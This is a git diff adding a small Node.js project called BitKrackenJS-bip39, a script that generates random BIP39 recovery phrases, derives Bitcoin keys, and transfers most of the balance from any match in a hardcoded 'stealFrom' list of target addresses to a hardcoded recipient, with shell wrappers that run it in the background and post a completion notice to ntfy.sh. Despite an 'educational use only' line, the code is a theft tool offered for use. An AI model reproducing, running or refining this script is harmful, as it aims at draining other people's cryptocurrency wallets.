diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..672749e --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Samuel Lord + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index dfe5666..74f9cc0 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,5 @@ -# bitkrackenjs-bip39-updated -aaaa +# BitKrackenJS-bip39 +BitKracken JS for cracking BIP39. + +# A quick note +***For educational and research use only. Stealing isn't cool.*** *For details on how to use, see the Original BitKrackenJS page.* diff --git a/index.js b/index.js new file mode 100644 index 0000000..f20f28d --- /dev/null +++ b/index.js @@ -0,0 +1,77 @@ +var sleep = require('sleep'); +var CoinKey = require('coinkey') //1.0.0 +var bip39 = require('bip39') +var hdkey = require('hdkey') +var bitcoinTransaction = require('bitcoin-transaction'); +var to = "1ShzJ7McjMYaboVFokny1LGMFLT7Y6qDj"; //change me to who you want the bitcoin to go to +var mnemonic; +var seed; +var seedToKey; +var root; + +const stealFrom = ["34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo", "bc1ql49ydapnjafl5t2cp9zqpjwe6pdgmxy98859v2","39884E3j6KZj82FK4vcCrkUvWYL5MQaS3v"] + +console.log(` +/=========================\\ +|BBB IIIII TTTTTTT | +|B B I T | +|BBBB I T | +|B B I T | +|BBBBB IIIII T | +| KRACKEN| +\\=========================/ + BIP39 EDITION +`) + +bitcoinTransaction.providers.balance.mainnet.default = bitcoinTransaction.providers.balance.mainnet.blockchain; + +console.log("Working (This will take *pretty much forever!*)") + +while (true) { +mnemonic = bip39.generateMnemonic() //create random Bip39 "recovery phrase" +seed = bip39.mnemonicToSeedSync(mnemonic).toString('hex'); //generate seed bujffer +root = hdkey.fromMasterSeed(seed); //generate hdkey object containing private and public key from seed buffer +seedToKey = root.privateKey; +var ck = new CoinKey(root.privateKey) //Create address from private key, which is from the Bip39 seed, which is from random Bip39 "recovery phrase" +var from = ck.publicAddress; //Our current "brute forced" address +var privKeyWIF = ck.privateWif; //Private (WIF) key of "brute forced" address in WIF form + +//console.log(`WIF: ${ck.privateWif} +//PRIVATE KEY: ${root.privateKey.toString('hex')} +//SEED: ${seed} +//MNEMONIC: ${mnemonic}`); +if (bip39.validateMnemonic(mnemonic)) { + //console.log("Valid mnemonic found!") + if (stealFrom.includes(from)) { + try { + bitcoinTransaction.getBalance(from, { network: "mainnet" }).then((balanceInBTC) => { + if (balanceInBTC > 1) { + console.log("Valid BTC found!") + console.log(`Sending ${balanceInBTC} to ${to}.`) + console.log(`Congrats! It should take about half an hour to get your ${balanceInBTC} BTC.`) + return bitcoinTransaction.sendTransaction({ + from: from, + to: to, + privKeyWIF: privKeyWIF, + btc: (balanceInBTC - (balanceInBTC * .3)), + network: "mainnet", + fee: "halfHour" + }); + //this line ignored by VSCode. + } else { + console.log("Not a real key with a balance, keep going...") + return "none-yet"; + } + }); + } catch { + console.log(`This probably isn't a valid Private Key/Address. This is normal, I think.`) + } + } else { + //console.log("Not in whitelist!") + } +} else { + console.log("Still going...") +} + +sleep.msleep(13) +} diff --git a/p.sh b/p.sh new file mode 100644 index 0000000..6f0aee2 --- /dev/null +++ b/p.sh @@ -0,0 +1 @@ +node index.js > /dev/null && curl -d "bitcoin shit done." "ntfy.sh/btc$RANDOM" diff --git a/package.json b/package.json new file mode 100644 index 0000000..467ee05 --- /dev/null +++ b/package.json @@ -0,0 +1,18 @@ +{ + "name": "bitcracken-js-bip39", + "version": "1.0.0", + "description": "\"My favorite thing is to get things for STEALS\" --Daphne", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "Sparksammy", + "license": "MIT", + "dependencies": { + "bip39": "^3.0.3", + "bitcoin-transaction": "^1.2.1", + "coinkey": "^3.0.0", + "hdkey": "^2.0.1", + "sleep": "^6.3.0" + } +} diff --git a/start.sh b/start.sh new file mode 100644 index 0000000..0e89747 --- /dev/null +++ b/start.sh @@ -0,0 +1 @@ +./p.sh > /dev/null 2>&1 &